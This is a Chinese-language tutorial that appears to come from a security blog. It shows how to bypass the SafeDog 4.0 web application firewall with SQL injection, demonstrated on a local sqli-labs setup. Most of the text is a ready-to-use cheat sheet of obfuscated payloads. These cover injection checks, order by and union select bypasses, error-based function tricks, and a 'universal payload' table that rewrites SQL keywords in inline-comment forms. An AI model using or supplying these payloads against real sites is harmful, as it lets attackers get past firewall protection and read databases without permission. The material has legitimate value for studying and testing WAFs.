最近想着把过waf相关的整理一下,本次主要以安全狗4.0为例进行演示
准备工作
安全狗官网:
http://free.safedog.cn/install_desc_website.html
环境:Windows10+phpstudy+sqli-labs+安全狗v4.0
安装工作
1.下载安全狗
2.查看Apache服务是否存在
在这之前要先查看服务里有没有Apache,一般是用PHPstudy集成环境测试的话,是没有这个服务的,需要自己手动添加一下 ,cd到phpstudy的apache2/bin目录,cmd执行:
httpd.exe -k install -n apache2.4 #apache2.4就是你的服务名,可以自定义
安装之后,看到服务名就出现
3.安装网站安全狗
然后安装安全狗就只需要填写一个服务名(就是你刚刚设置的那个名字)以及选择Apache的版本
如何确定Apache的版本
httpd.exe -v
然后就好了
绕waf sql
1.判断注入点
一般都是先判断是数字型还是字符型(这里我就不过多描述),主要是试试如何绕and 1=1,因为and 1=1和and 1=2 的目的就是为了验证是否存在可能注入点,如果被过滤掉,就用逻辑语句测试(有时候1=1不行可以试-1=-1,-1=-2)
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20and%20-1=%27-1
页面正常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20and%20-1=%27-2
页面错误
所以总结,一般大致就这几种
1' and -1='-1
-1'||-1='-1
-1'/*!14400or*/1=1%23
=替换成>、<、like、regexp同样可以绕过
2.order by绕过
1.利用%23%0a绕
1' order%23%0Aby --+
2.内联注释绕过
/*!order /*!/*/**/by*/3-- -
/*!order /*/*%/**/by*/3-- -
/*!order /*!/*/**//**/by*/3-- -
/*!order /*!/*/**//*/**/by*/3-- -
/*!order /*!/*/**/*/by/**/3--+
3.union select绕过
-1'/*!union/*!/*/**/*/select/**/1,2,3 -- -
4.系统函数绕过
单独的括号和函数名都不会检测,思路就是分开函数名和括号就行
5.函数名绕过
在报错注入的时候可以用这个格式绕过
/*!extractvalue/*!/*/**/*/
/*!updatexml/*!/*/**/*/
6.万能的payload
针对两个关键字连用或者函数
/*!union/*!/*/**/*/select/**/
/*!database/*!/*/**/*/()/**/
/*!order/*!/*/**/*/by/**/
针对单独的一个关键字
/*!union/*!/*/**/*/
/*!updatexml/*!/*/**/*/
/*!extractvalue/*!/*/**/*/
快速查询
= /*!*/=/*!*/
order /*!order/*!/*/**/*/
and /*!and/*!/*/**/*/
or /*!or/*!/*/**/*/
union /*!union/*!/*/**/*/
select /*!select/*!/*/**/*/
user() /*!user/*!/*/**/*/()/**/
database() /*!database/*!/*/**/*/()/**/
version() /*!version/*!/*/**/*/()/**/
session_user() /*!session_user/*!/*/**/*/()/**/
extractvalue /*!extractvalue/*!/*/**/*/()/**/
updatexml /*!updatexml/*!/*/**/*/
参考链接